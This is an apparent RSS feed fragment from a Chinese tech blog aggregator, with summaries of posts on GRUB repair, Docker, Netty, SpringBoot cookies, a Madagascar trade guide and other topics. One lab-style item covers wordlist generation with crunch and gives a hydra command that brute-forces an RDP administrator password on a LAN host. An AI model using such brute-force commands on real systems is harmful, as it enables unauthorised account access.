      <link>https://bchobby.github.io/posts/25650532fdbf1ce8ca6e6c13af8c831a/</link>
      <pubDate>Mon, 13 Nov 2023 14:50:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25650532fdbf1ce8ca6e6c13af8c831a/</guid>
      <description>系统部署在物理机上，开机后一直pxe不进系统，怀疑GRUB丢失。&#xA;查看bios 里 采用uefi 启动方式，&#xA;无硬盘系统引导选项，&#xA;且BMC设置为硬盘永久启动也无效。&#xA;挂载光驱ISO进入救援模式,sda为系统盘，重装grub报错&#xA;grub2-install:error:/usr/lib/grub/x86_64-efi/modinfo.sh&#xA;挂载光驱iso&#xA;使用yum从光盘中安装 yum install grub2-efi* 报错即可解决。&#xA;查看/boot/grub2/grub.cfg 发现有配置文件，如果不存在&#xA;grub2-mkconfig -o /boot/grub2/grub.cfg 重新生成。&#xA;参考&#xA;https://blog.csdn.net/qq_32437331/article/details/127907035</description>
    </item>
    <item>
      <title>【rl-agents代码学习】01——总体框架</title>
      <link>https://bchobby.github.io/posts/44915e6854200eb308be708dbe3ebc6c/</link>
      <pubDate>Mon, 13 Nov 2023 12:28:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44915e6854200eb308be708dbe3ebc6c/</guid>
      <description>文章目录 rl-agent Get startInstallationUsageMonitoring 具体代码 学习一下rl-agents的项目结构以及代码实现思路。&#xA;source: https://github.com/eleurent/rl-agents&#xA;rl-agent Get start Installation pip install --user git+https://github.com/eleurent/rl-agents Usage rl-agents中的大部分例子可以通过cd到scripts文件夹 cd scripts，执行 python experiments.py命令实现。&#xA;Usage: experiments evaluate &amp;lt;environment&amp;gt; &amp;lt;agent&amp;gt; (--train|--test) [--episodes &amp;lt;count&amp;gt;] [--seed &amp;lt;str&amp;gt;] [--analyze] experiments benchmark &amp;lt;benchmark&amp;gt; (--train|--test) [--processes &amp;lt;count&amp;gt;] [--episodes &amp;lt;count&amp;gt;] [--seed &amp;lt;str&amp;gt;] experiments -h | --help Options: -h --help Show this screen. --analyze Automatically analyze the experiment results. --episodes &amp;lt;count&amp;gt; Number of episodes [default: 5]. --processes &amp;lt;count&amp;gt; Number of running processes [default: 4].</description>
    </item>
    <item>
      <title>暴力破解之密码字典</title>
      <link>https://bchobby.github.io/posts/910336b3def286bb79ea784a2551f851/</link>
      <pubDate>Mon, 13 Nov 2023 11:26:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/910336b3def286bb79ea784a2551f851/</guid>
      <description> 暴力破解之密码字典 暴力破解多用于密码攻击领域，即使用各种不同的密码组合反复进行验证，直到 找出正确的密码 这种方式也称为“密码穷举”，用来尝试的所有密码集合称为&#34;密码字典” 从理论上来说，任何密码都可以使用这种方法来破解，只不过越复杂的密码需要 的破解时间也越长 生成密码字典工具crunch 语法： 示例： 通过文件管理系统找到生成的密码字典 暴力破解之hydra 海德拉（Hydra）：希腊神话中的九头蛇 Hydra用法 RDP（Remote Desktop Protocol，远程桌面协议） 在Win7上运行mstsc 目标主机Win2003开启远程桌面（端口号3389） 爆破3389密码 进入到hydra文件夹，按住shift ，同时点击鼠标右键，点击“从此处打开终 端” 输入： hydra ‐l administrator ‐P pass123.txt 192.168.111.138 rdp </description>
    </item>
    <item>
      <title>SpringBoot 为 Cookie 设置 SameSite</title>
      <link>https://bchobby.github.io/posts/b82ac6a45c1785061155147ec1ba66fa/</link>
      <pubDate>Mon, 13 Nov 2023 11:12:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b82ac6a45c1785061155147ec1ba66fa/</guid>
      <description>最近在做单点登录系统时，部分场景需要使用 Cookie 保存信息，浏览器频繁给出警告某些 Cookie 滥用推荐的“SameSite“属性&#xA;使用以下代码设置 Cookie 的同时设置 SameSite 属性即可&#xA;ResponseCookie responseCookie = ResponseCookie.from(key, value) // 设置 HttpOnly .httpOnly(true) // 设置 SameSite 为 Lax，不依赖浏览器默认行为 .sameSite(&#34;Lax&#34;) // 设置 Cookie 路径为网站根路径 .path(&#34;/&#34;) // 设置过期时间（单位：秒） .maxAge(maxAge) // 为 https 访问开启 secure .secure(request.isSecure()) .build(); response.addHeader(HttpHeaders.SET_COOKIE, responseCookie.toString()); 注意！这里必须使用 addHeader() 而不是 setHeader()，惨痛的教训&#xA;具体看这篇文章：&#xA;记一次 新增 / 删除 Cookie 未生效的 BUG</description>
    </item>
    <item>
      <title>马达加斯加市场开发攻略，收藏一篇就够了</title>
      <link>https://bchobby.github.io/posts/3a375dbde5dd473ffba1f962d95ab139/</link>
      <pubDate>Mon, 13 Nov 2023 11:04:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a375dbde5dd473ffba1f962d95ab139/</guid>
      <description>马达加斯加是位于非洲南部一个国家，虽然经济是比较落后的一个国家，但是一直以来跟中国的关系都还不错，生产生活资料也是比较依赖进口的，市场潜力还是不错的。今天就来给大家分享一下马达加斯加的相关攻略。大家点赞收藏+关注慢慢看。&#xA;文章目录：&#xA;1.马达加斯加国家概况&#xA;2.马达加斯加节日与礼仪&#xA;3.马达加斯加注意事项&#xA;4.马达加斯加市场开发&#xA;5.马达加斯加国家冷知识&#xA;一、马达加斯加国家概况 【国 名】马达加斯加共和国（The Republic of Madagascar）&#xA;【面 积】59.2万平方公里。位于印度洋西部的非洲岛国，隔莫桑比克海峡与非洲大陆相望。马达加斯加岛全岛由火山岩构成，作为非洲第一、世界第四大的岛屿&#xA;【人 口】马达加斯加全国人口总数约2892万（2023年）。马达加斯加总人口的99%以上为马达加斯加人，此外还有印巴裔、法裔、科摩罗裔等人口，其中，印巴裔法籍侨民（Karanes）在马达加斯加工商界占据重要地位。华侨和华裔约6万人，主要分布在塔那那利佛和塔马塔夫。&#xA;【信 仰】在马达加斯加，约52%的人信奉原始宗教；41%的人信奉基督教；7%的人（主要分布在北部和东部沿海地区）信奉伊斯兰教。&#xA;【首 都】塔那那利佛（马语：Antananarivo；法语：Tananarive），马语意为“千人勇士城”，是全国政治、经济和文化中心。人口约320万，年平均气温18.3°C。&#xA;【资 源】马达加斯加主要矿产资源有石墨、铬铁、铝矾土、石英、云母、镍矿、钛铁、铁矿、锰、铅、锌、煤等，其中石墨储量居非洲首位。此外还有较丰富的宝石、半宝石资源以及大理石、花岗岩和动植物化石等。河流湍急，水力发电潜力大。森林面积12.3万平方公里，约占国土面积的21%，珍稀动植物种类繁多，包括珍稀植物塔那拉爵床。 一些动植物为马达加斯加独有。&#xA;【工 业】马工业基础十分薄弱，主要有炼油、发电、纺织和服装加工、农产品加工、饮料、烟草、造纸、制革、建材等。采矿业是马达加斯加经济发展的重要增长点。马达加斯加较大的矿业项目有QMM钛铁矿、Ambatovy镍钴矿、Kraoma铬矿项目等。&#xA;【农 业】马达加斯加第一产业（农林牧渔）增加值约占GDP的24.1%，主要农产品包括稻谷、玉米、木薯以及香草等香料。大米是马达加斯加人的首要主食。&#xA;【旅游业】旅游资源丰富，但服务设施不足。上世纪90年代以来，马将旅游业列为重点发展行业，鼓励外商投资旅游业。1997年改革签证制度，允许游客申请落地签证，同时取消旅馆对外国游客高收费的作法。游客主要来自法国（50%以上）、留尼汪、美国、英国、瑞士、德国和意大利等。主要旅游点是努西贝岛、圣玛丽岛。&#xA;【对外贸易】主要进口石油、车辆、机械设备、药品、日用消费品及食品等。主要出口咖啡、虾、铬矿石、香草、丁香、棉纺织品等。主要贸易伙伴是法国、美国、中国、欧盟、南非、南共体、东南亚部分国家和印度洋诸岛国等&#xA;二、马达加斯加节日与礼仪 *节日&#xA;新年1月1日&#xA;妇女节3月8日&#xA;烈士节3月29日&#xA;复活节4月4日&#xA;劳动节5月1日&#xA;耶稣升天节5月13日&#xA;圣灵降临节周一5月13日&#xA;独立日6月26日&#xA;圣母升天节8月15日&#xA;万圣节11月1日&#xA;共和国日12月11日&#xA;圣诞节12月25日&#xA;*社交礼仪与风俗禁忌&#xA;马达加斯加以农业为主。出口商品为咖啡，鱼类等。马达加斯加人喜爱鲜明的色彩，到这里从事商务活动，可准备印有法文字样的名片。初到马达加斯加，可送给与你做生意的人一点礼物，像精美的工艺品及日常用品都可以。这里的妇女是传统纺织的能手。一种名为兰巴的民族服装，形同印度，孟加拉妇女身披的沙丽，它是用棉麻等混织而成。在马达加斯加，妇女以发型来显示美，土著民族同样重发饰，女人们将头发梳成髻，涂上油膏。由于马达加斯加人尊重长辈，因此旅游者不论坐车，行路，参观等，均应注意新人当地习俗，处处礼让年长者。到马达加斯加旅行的人，可带上一些一美元的纸币作小费，送给为你提供直接服务的人员。　马达加斯加人的名字一般较长。由于马达加斯加许多人信奉基督教，他们的名字往往由一个马达加斯加名字加一个宗教名字组成。马达加斯加的国树是“旅人蕉”、国石是“孔雀石”马达加斯加还有随意改名的习俗，人生不同阶段有不同的名字。比如，生了孩子，做父母的除了给孩子取名外，有的还会给自己改名。在马达加斯加，男婚女嫁，老人殉葬时，都要杀牛摆宴招待宾客。有人死了，家人在死者坟前立一个牛头模型，表示死者生前的荣耀和保佑其死后灵魂的超度。马达加斯加盛行一夫多妻制。在马达加斯加，死亡被看成是向更美好世界的超升。葬礼时，年轻女子在屋外伴着传统乐曲的节奏唱歌。马达加斯加人忌讳代表着死亡和灾祸的黑色。在马达加斯加，星期二，星期四为禁忌日。 *餐饮礼仪与禁忌&#xA;马达加斯加岛上的居民喜吃大米，主食是玉米和牛肉，也喜欢吃海产品。当地生产的华尼拉成品是一种绝佳的食品香料，可用于制作糕点，饮料等食品。这种香料已成为马达加斯加出口换汇的重要产品。马达加斯加青年举止大方。为了培养自己的勇气，他们不吃牛膝，据说吃了就会膝盖变软。新年前一周不准吃肉，除夕晚餐只准吃一些禽类。 三、马达加斯加市场注意事项 1、清关文件要求&#xA;1）海运提单/货代提单&#xA;2）商业发票（Commercial Invoice），如果发票为英文文本，进口商应另备法文译本，发票中应详细描述商品的重量（净重、毛重）；尺寸或体积；出口商姓名、签名；包装型号及数量；及货物标号；对货物的准确、详细、完整的描述；单价和总价；海运、保险或意外损失费。&#xA;3）装箱单（Packing List），包装清单需要包装、重量清单一式3份，清单中需要详细描述每种包装中所装物品名称、数量、毛重、净重、每件货物的价值，同时需要注明送货工具、方式。&#xA;4）装载清单，均需盖章，注明日期、物品的毛重、净重、尺寸或体积、商标、进口商姓名、签字。为了海关迅速验货，物品的货运商标、载货清单号、容器、发票应相符。装载单位由货运公司和公务机关签署。航空运输有专门的航空装载单。&#xA;5）BSC是法语 Bordereau de Suivl des Cargaisons 的缩写，货物追踪号的意思，英语就是 CTN（Cargo tracking note）所有从马达加斯加进口的货物都需要提前申请办理BSC（电子货物跟踪单），并取得对应的电子货物跟踪单号码BSC Number(BSC No.)。部分船公司需要收到此BSC NO.</description>
    </item>
    <item>
      <title>npm报错SyntaxError: Unexpected token ＇.‘</title>
      <link>https://bchobby.github.io/posts/35b38884427b2637ab74e4c6461c19f2/</link>
      <pubDate>Mon, 13 Nov 2023 10:00:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35b38884427b2637ab74e4c6461c19f2/</guid>
      <description>此项报错原因一有可能是npm版本与node版本不符导致，例如node版本是12，如果把npm版本升到10，10版本的npm并不能在12版本的node上运行，这时候执行命令install npm@6.14.10 -g降低npm版本即可&#xA;如果无法降低版本有可能是原因二，作者之前用的node18版本，删除的时候没删干净，现在node12版本，npm有可能冲突，这时候执行命令where npm，找到多余的npm删除</description>
    </item>
    <item>
      <title>docker命令及Centos8安装</title>
      <link>https://bchobby.github.io/posts/b9e98a89aa2f594ca1077403f3013d99/</link>
      <pubDate>Mon, 13 Nov 2023 09:08:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9e98a89aa2f594ca1077403f3013d99/</guid>
      <description>目录 Docker简介系统环境检查Docker常用命令帮助命令镜像命令容器生命周期命令容器操作命令仓库命令命令小结 数据卷命令Dockerfile问题 Docker视频学习推荐 here Docker简介 镜像（image）&#xA;docker镜像就好比是一个模板，可以通过这个模板来创建容器服务，创建数量不限镜像层级结构&#xA;容器（container）&#xA;docker利用容器技术，独立运行一个或者一组应用，通过镜像来创建。类似于一个简易的Linux系统虚拟机&amp;amp;Docker对比&#xA;如下面的对比图中，是两个非常轻量级的docker容器在运行&#xA;仓库（repository）&#xA;仓库是存放镜像的地方，分为私有仓库和公有仓库。目前国外和国内均有仓库地址，如国内的阿里云。 从无到有的过程&#xA;系统环境检查 检查Linux内核版本 OS requirements：To install Docker Engine, you need a maintained version of CentOS 7. Archived versions aren’t supported or tested.&#xA;[root@localhost ~]# uname -r 4.18.0-147.el8.x86_64 查询系统版本信息 [root@localhost ~]# cat /etc/os-release NAME=&#34;CentOS Linux&#34; VERSION=&#34;8 (Core)&#34; ID=&#34;centos&#34; ID_LIKE=&#34;rhel fedora&#34; VERSION_ID=&#34;8&#34; PLATFORM_ID=&#34;platform:el8&#34; PRETTY_NAME=&#34;CentOS Linux 8 (Core)&#34; ANSI_COLOR=&#34;0;31&#34; CPE_NAME=&#34;cpe:/o:centos:centos:8&#34; HOME_URL=&#34;https://www.centos.org/&#34; BUG_REPORT_URL=&#34;https://bugs.centos.org/&#34; CENTOS_MANTISBT_PROJECT=&#34;CentOS-8&#34; CENTOS_MANTISBT_PROJECT_VERSION=&#34;8&#34; REDHAT_SUPPORT_PRODUCT=&#34;centos&#34; REDHAT_SUPPORT_PRODUCT_VERSION=&#34;8&#34; 查看Docker官方安装文档&#xA;点击here查看Centos安装文档首先卸载旧的Docker [root@localhost ~]# yum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-engine 方式一 仓库安装</description>
    </item>
    <item>
      <title>数据结构与算法—后缀表达式&#43;中缀转后缀</title>
      <link>https://bchobby.github.io/posts/9044412d8820005459e0b0984d57df6c/</link>
      <pubDate>Mon, 13 Nov 2023 01:09:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9044412d8820005459e0b0984d57df6c/</guid>
      <description>● 在《数据结构与算法分析（C语言描述）》关于栈的应用里有后缀表达式和中缀到后缀的转换。看完之后觉得似乎有实现的可能，磨了很久终于实现了出来（小菜鸡一枚）。&#xA;1、后缀表达式 思路：1、输入后缀表达式。2、设置一个栈。3、将未遇到运算符的数字全部存入栈内。4、遇到运算符将栈内最上面的两个数弹出，通过该运算符计算后再存入栈内。5、依次循环。&#xA;#include&amp;lt;stdio.h&amp;gt; #include&amp;lt;stdlib.h&amp;gt; #define MAXSIZE 100 typedef int SElemType; typedef struct { SElemType *base; SElemType *top; int stacksize; } SqStack; int InitStack(SqStack &amp;amp;S) { S.base = new SElemType[MAXSIZE]; if (!S.base) return 0; S.top = S.base; S.stacksize = MAXSIZE; return 1; } int Push(SqStack &amp;amp;S, SElemType e) { if (S.top - S.base == S.stacksize) return 0; *S.top++ = e; return 1; } int Pop(SqStack &amp;amp;S, SElemType &amp;amp;e) { if (S.</description>
    </item>
    <item>
      <title>消息中心常见解决方案分享</title>
      <link>https://bchobby.github.io/posts/41297300ed98a0c1f571648f9b0f9c3c/</link>
      <pubDate>Mon, 13 Nov 2023 00:24:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41297300ed98a0c1f571648f9b0f9c3c/</guid>
      <description>解决方案 1、问题2、设计3、流程 看了大部分的消息中心解决方案，发现大家的中心思想都大差不差，区别基本都是在符合自身业务场景的做了一些定制化处理。本文为我对消息中心基本骨架的知识梳理，亦在帮助大家对消息中心设计有一个基本的理解。&#xA;1、问题 业务上可能会遇到的问题：&#xA;消息不支持配置化消息不支持多语言消息掌握能力（查看率、点击率、转化率等） 技术可能上遇到问题：&#xA;发送消息接口不统一（配置化后台、三方中间件、硬编码消息）发送消息需要指定的参数过多没有进行对外部接口的限流处理消息数据管理分析（失败率、延迟率、一键撤回） 2、设计 可将消息中心抽象为三部分：&#xA;发送消息渠道部分：&#xA;消息渠道：针对不同渠道发送的消息，对渠道进行配置，如短信、邮件、钉钉消息、企微消息 发送消息记录部分：&#xA;消息场景：维护消息的场景类型，即对消息绑定一个场景，场景编码全局唯一，调用方指定场景编码用于定位具体消息消息任务：消息中心接收到的上游传递的参数记录。由于一个消息场景可以被消息记录：经过一系列处理后真实消息的发送记录，根据业务场景可扩展 发送消息模板配置部分：&#xA;消息基础模板：可用于处理公共样式，简化消息模板配置消息模板：配置待发送消息的消息模板，参数值以占位符形式提供，消息模板在配置时需要绑定消息场景、以及消息渠道。 注意，由于一个消息场景可以被多个消息模板配置，所以上面提到的消息任务和消息记录不是一对一的&#xA;3、流程 上游指定消息场景中的消息编码和用户调用接口。消息中心接收到消息后，根据请求中的场景编码查询出所有配置的消息模板。每一个消息模板对应一条待发送得消息，在每一条要发送的消息中，首先完成对当前场景的规则的校验，校验通过后获取消息模板配置的渠道，发送具体的消息给对应得用户。&#xA;整体流程：</description>
    </item>
    <item>
      <title>PHP-MYSQL学生信息管理系统（附源码免费）</title>
      <link>https://bchobby.github.io/posts/9d3e4437557e101e5ee12c505a7e1d05/</link>
      <pubDate>Sun, 12 Nov 2023 22:37:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d3e4437557e101e5ee12c505a7e1d05/</guid>
      <description>环境配置 本系统采用phpstudy开发平台，采用PHP和MySQL数据库进行开发，开发工具为HBuilder。phpStudy是一个PHP调试环境的程序集成最新的&#xA;Apache+PHP+MySQL+phpMyAdmin,一次性安装，无须配置即可使用，是非常方便、好用的PHP调试环境。（其他平台均可）@@@文末有获取方式免费获取&#xA;————————————————&#xA;含sql文件&#xA;主要功能 管理员登录&#xA;验证码验证&#xA;添加用户信息&#xA;修改用户信息&#xA;批量删除用户信息&#xA;信息分页显示&#xA;表格数据文件下载&#xA;主要语言 PHP MySQL JavaScript CSS Layui框架&#xA;运行截图 数据列表&#xA;&amp;lt;?php for($i = 0; $i &amp;lt; count($arr2); $i++){?&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td class=&#34;id&#34;&amp;gt;&amp;lt;?php echo $arr2[$i][&#39;id&#39;];?&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt; &amp;lt;form class=&#34;layui-form&#34; action=&#34;&#34;&amp;gt; &amp;lt;input type=&#34;checkbox&#34; class=&#34;checkbox&#34; lay-skin=&#34;primary&#34;&amp;gt;&#x9;&amp;lt;/form&amp;gt; &amp;lt;/td&amp;gt;&#x9;&amp;lt;td&amp;gt;&amp;lt;?php echo $i+1;?&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;&amp;lt;?php echo $arr2[$i][&#39;name&#39;];?&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;&amp;lt;?php echo $arr2[$i][&#39;sex&#39;];?&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;&amp;lt;?php echo $arr2[$i][&#39;age&#39;];?&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;&amp;lt;?php echo $arr2[$i][&#39;phone_number&#39;];?&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt; &amp;lt;a title=&#34;修改&#34; href=&#34;javascript:;&#34; onclick=&#34;show(&#39;修改信息&#39;,&#39;update.php?id=&amp;lt;?php echo $arr2[$i][&#39;id&#39;];?&amp;gt;&#39;)&#34;&amp;gt;&amp;lt;i class=&#34;layui-icon layui-icon-edit&#34; style=&#34;color: #1E9FFF;&#34;</description>
    </item>
    <item>
      <title>Netty底层原理</title>
      <link>https://bchobby.github.io/posts/f6ee2d02aa18c649661e68d5aeec6ddc/</link>
      <pubDate>Sun, 12 Nov 2023 22:16:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f6ee2d02aa18c649661e68d5aeec6ddc/</guid>
      <description> 文章目录 一、线程模型二、解码和编码三、序列化四、零拷贝五、背压 NIO有一个非常重要的组件——多路复用器，其底层有3种经典模型，分别是epoll、select和poll。与传统IO相比，一个多路复用器可以处理多个Socket连接，而传统IO对每个连接都需要一条线程去同步阻塞处理。NIO有了多路复用器后只需要一条线程即可管理多个Socket连接的接入和读写事件。&#xA;Netty的多路复用器默认调用的模型是epoll模型，它除了JDK自带的epoll模型的封装，还额外封装了一套，这两者都是epoll模型的封装，只是JDK的epoll模型是水平触发的，而Netty采用JNI重写的边缘触发。&#xA;一、线程模型 对于服务器端而言有两个线程组，Boss线程组和Worker线程组。其中Boss线程组一般只开启一条线程（除非一个Netty服务同时监听多个端口），Worker线程数默认是CPU核数的两倍。Boss线程主要监听SocketChannel的OP_ACCEPT事件和客户端的连接。&#xA;**当Boss线程监听到有SocketChannel连接接入时，会把SocketChannel包装成NioSocketChannel，并注册到Worker线程的Selector中，同时监听其OP_WRITE和OP_READ事件。**当Worker线程监听到某个SocketChannel有就绪的读IO事件时，就会进行以下操作：&#xA;向内存池中分配内存，读取IO数据流将读取后的ByteBuf传递给解码器Handler进行解码，若能解码出完整的请求数据包，就会把请求数据包交给业务逻辑处理Handler经过业务逻辑处理Handler后，在返回响应结果前，交给编码器进行数据加工最终写到缓冲区，并由IO Worker线程将缓冲区的数据输出到网络中并传输给客户端 二、解码和编码 使用Java NIO来实现TCP网络通讯，需要对TCP连接中的问题进行进行全面的考虑，如拆包和粘包导致的半包问题和序列化等。对于这些问题，Netty都进行了很好的处理。&#xA;客户端给服务端发送消息并受到服务端返回的结果共经历了以下6步：&#xA;TCP是面向字节流传输的协议，它把客户端提交的请求数据看作一连串的无结构的字节流，并不知道所传送的字节流的含义，也并不关心有多少数据流入TCP输出缓冲区中&#xA;**每次发多少数据到网络中与当前网络的拥塞情况和服务端返回的TCP窗口的大小有关，涉及TCP的流量控制和拥塞控制，并且与Netty的反压有关。**如果客户端发送到TCP输出缓冲区的数据块太多，那么TCP会分割成多次将其传送出去，如果太少，则会等待积累足够多的字节后发送出去。很明显TCP这种传输机制会产生粘包问题&#xA;当服务端读取TCP输入缓冲区中的数据时，需要进行拆包处理，并解决粘包和拆包的问题，比较常见的方案有以下3种：&#xA;将换行符号或特殊标识符号加入数据包中，如HTTP和FTP等（LineBasedFrameDecoder）将消息分为head和body，head中包含body长度的字段， 一般前面4个字节是body的长度值，用int表示，但也有像Dubbo协议那种head中除了body长度外还有版本号、请求类型和请求id等（LengthFieldPrepender/LengthFieldBasedFrameDecoder）固定数据包的长度，如固定100字节，不足补空格（FixedLengthFrameDeocder） 步骤4-6和步骤1-3相似。TCP的这些机制与Netty的编码和解码有很大的关系。**Netty采用模板设计模式实现了一套编码和解码架构，高度抽象，底层解决TCP的粘包和拆包的问题。**编码器和解码器大部分都有共同的编码和解码父类，即MessageToMessageEncoder与ByteToMessageDecoder。&#xA;ByteToMessageDecoder父类在读取TCP缓冲区的数据并解码后，将剩余的数据放入了半包字节容器中，具体解码方案由子类负责。在解码的过程会遇到读半包，无法解码的数据会保存在读半包字节容器中，等待下次读取数据后继续解码。编码的逻辑比较简单，MessageToMessageEncoder父类定义了整个编码的流程，并实现了对已读内存的释放，具体的编码格式由子类负责。&#xA;Netty的编码和解码除了解决TCP协议的粘包和拆包问题，还有一些编解码器做了很多额外的事情，如StringEncode（把字符串转换为字节流）、ProtobufDecoder（对Protobuf序列化数据进行解码）；还有各种常用的协议编解码器，如HTTP2、Websocket等。&#xA;三、序列化 当客户端向服务器端发送数据时，如果发送的是一个Java对象，由于网络只能传输二进制数据流，所以Java对象无法直接在网络中传输，则必须对Java对象的内容进行流化，只有流化后的对象才能在网络中传输。序列化就是将Java对象转换成二进制流数据的过程，而这种转化的方式多种多样：&#xA;Java自带序列化：简单但较少使用，因为性能低，序列化后码流太大，且无法跨语言进行反序列化为了解决Java自带序列化的缺点，会引入比较流行的序列化方式，如Protobuf、Kryo、JSON等。由于JSON格式化数据可读性好，且浏览器对JSON数据的支持性非常好，所以一般的Web应用都会选择它。另外，市场上有Fastjson，Jackson等工具包，使得Java对象转成JSON也非常方便。但是JSON序列化后的数据体积较大，不适合网络传输和海量数据存储。Protobuf和Kryo序列化后的体积与JSON相比要小很多 Protobuf是Google提供的一个具有高效协议数据交换格式的工具库，其具有更高的转化效率，且时间效率和攻坚效率都是JSON的3-5倍。对于一个Java对象，转换成JSON格式时会写进去一些无用的信息，如{}，&#34;&#34;等，当类的属性非常多并且包含各种对象组合时，开销会非常大。&#xA;而Protobuf对这些字段属性进行了额外处理，同类的每个属性名采用Tag值进行表示，这个Tag值在Protobuf中采用了varint编码， 当类的属性个数小于128时，每个属性名只需要1B来表示即可，同时属性值的长度也只占用1B。Protobuf对值也进行了各种编码，不同类型的数据值采用不同的编码技术，以尽量减小占用的存储空间。可以将Protobuf序列化后的数据想象成下面的格式：&#xA;tag|length|value|tag|length|value&#xA;Protobuf序列化除了占用空间小，性能还非常好，主要是它带有属性值长度，无需进行字符串匹配，这个长度值只用1B的存储空间。另外JSON都是字符串解析，而Protobuf根据不同的数据类型有不同的大小，如bool类型只需要读取1B的数据。&#xA;Protobuf的缺点如下：&#xA;从Protobuf序列化后的数据中发现，Protobuf序列化不会把Java类序列化进去，当遇到对象的一个属性是泛型且有继承的情况时，Protobuf序列化无法正确地对其进行反序列化，还原子类信息Protobuf需要编写.proto文件，比较麻烦，此时可以使用Protostuff来解决。Protostuff是Protobuf的升级版，无需编写.proto文件，只需要在对象属性中加入@Tag注解即可可读性差，只能通过程序反序列化解析查看具体内容 Protobuf一般用于公司内部服务信息的交换，对于数据量比较大、对象属性不是泛型且有继承的数据的场景比较合适。&#xA;四、零拷贝 零拷贝是Netty的一个特性，主要发生在操作数据上，无需将Buffer从一个内存区域拷贝到另一个内存区域，少一次拷贝，CPU效率就会提升。Netty的零拷贝主要应用在以下三种场景：&#xA;Netty接收和发送ByteBuffer采用的都是堆外直接内存，使用堆外直接内存进行Socket的读写，无需进行字节缓冲区的二次拷贝。如果使用传统的堆内存进行Socket的读写，则JVM会将堆内存Buffer数据拷贝到堆外直接内存中，然后才写入Socket中。与堆外直接内存相比，使用传统的堆内存，在消息的发送过程中多了一次缓冲区的数据拷贝在网络传输中，一条消息很可能会被分割成多个数据包进行发送，只有当收到一个完整的数据包后才能完成解码工作。Netty通过组合内存的方式把这些内存数据包逻辑组合到一块，而不是对每个数据块进行一次拷贝，这类似于数据库中的视图。CompositeByteBuf是Netty在此零拷贝方案中的组合Buffer传统拷贝文件的方法需要先把文件采用FileInputStream文件输入流读取到一个临时的byte[]数组中，然后通过FileOutputStream文件输出流把临时的byte[]数据内容写入目的文件中。当拷贝大文件时，频繁的内存拷贝操作会消耗大量的系统资源。Netty底层运用Java NIO的FileChannel.transfer()方法，该方法依赖操作系统实现零拷贝，可以直接将文件缓冲区的数据发送到目标Channel中，避免了传统的通过循环写方式导致的内存数据拷贝问题 五、背压 所谓背压，是进行流量控制的一种方案。背压就是消费者需要多少，生产者就生产多少。这有点类似于TCP里的流量控制，接收方根据自己的接收窗口的情况来控制发送方的发送速率。&#xA;这种方案只对于cold Observable有效。cold Observable是那些允许降低速率的发送源，比如两台机器传一个文件，速率可大可小，即使降低到每秒几个字节，只要时间足够长，还是能够完成的。相反的例子就是音视频直播，速率低于某个值整个功能就没法用了（这种类似于hot Observable）。&#xA;假如我们的底层使用Netty作为网络通信框架,业务流程在将业务数据发送到对端之前,实际先要将数据发送到Netty的缓冲区中,然后再从Netty的缓冲区发送到TCP的缓冲区,最后再到对端。业务数据不可能无限制向Netty缓冲区写入数据，TCP缓冲区也不可能无限制写入数据。Netty通过高低水位控制向Netty缓冲区写入数据的多少，从而实现整个链路的背压。&#xA;它的大体流程就是向Netty缓冲区写入数据的时候，会判断写入的数据总量是否超过了设置的高水位值，如果超过了就设置通道(Channel)不可写状态。当Netty缓冲区中的数据写入到TCP缓冲区之后，Netty缓冲区的数据量变少，当低于低水位值的时候就设置通过(Channel)可写状态。&#xA;Netty默认设置的高水位为64KB，低水位为32KB。可以通过ChannelOption进行设置。&#xA;bootstrap.childOption(ChannelOption.WRITE_BUFFER_WATER_MARK, new WriteBufferWaterMark(32 * 1024, 64 * 1024)); // 或 bootstrap.childOption(ChannelOption.WRITE_BUFFER_LOW_WATER_MARK, config.getMemorySegmentSize() + 1); bootstrap.childOption(ChannelOption.WRITE_BUFFER_HIGH_WATER_MARK, 2 * config.getMemorySegmentSize()); </description>
    </item>
    <item>
      <title>解决IDEA内存占用过高问题</title>
      <link>https://bchobby.github.io/posts/5a154eb556125721f766da089debde36/</link>
      <pubDate>Sun, 12 Nov 2023 22:03:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a154eb556125721f766da089debde36/</guid>
      <description>解决IDEA内存占用过高问题 1、忽略指定文件创建索引占用内存2、禁用或者卸载不常用的插件或者检查3、修改vm内存参数 往往对于笔记本过电脑内存不够来说的用户，idea占用内存是很高的，打开idea内存直接飙升，因此我做了以下处理。 1、忽略指定文件创建索引占用内存 针对全栈的人来说，项目中的前端依赖包文件过多，因此扫描索引占用内存过高，主要node_modules文件夹导致的&#xA;ctrl+alt+s打开设置&amp;gt;搜索文件类型&#xA;2、禁用或者卸载不常用的插件或者检查 3、修改vm内存参数 复制粘贴以下配置&#xA;-Xms2048m -Xmx4096m -Xverify:none -XX:+DisableExplicitGC -XX:ReservedCodeCacheSize=720m -XX:SoftRefLRUPolicyMSPerMB=50 -ea -Dsun.io.useCanonCaches=false -Djava.net.preferIPv4Stack=true -Djdk.http.auth.tunneling.disabledSchemes=&#34;&#34; -XX:+HeapDumpOnOutOfMemoryError -XX:-OmitStackTraceInFastThrow -XX:CICompilerCount=2 -XX:TieredStopAtLevel=1 -XX:MaxInlineLevel=3 -XX:Tier4MinInvocationThreshold=100000 -XX:Tier4InvocationThreshold=110000 -XX:Tier4CompileThreshold=120000 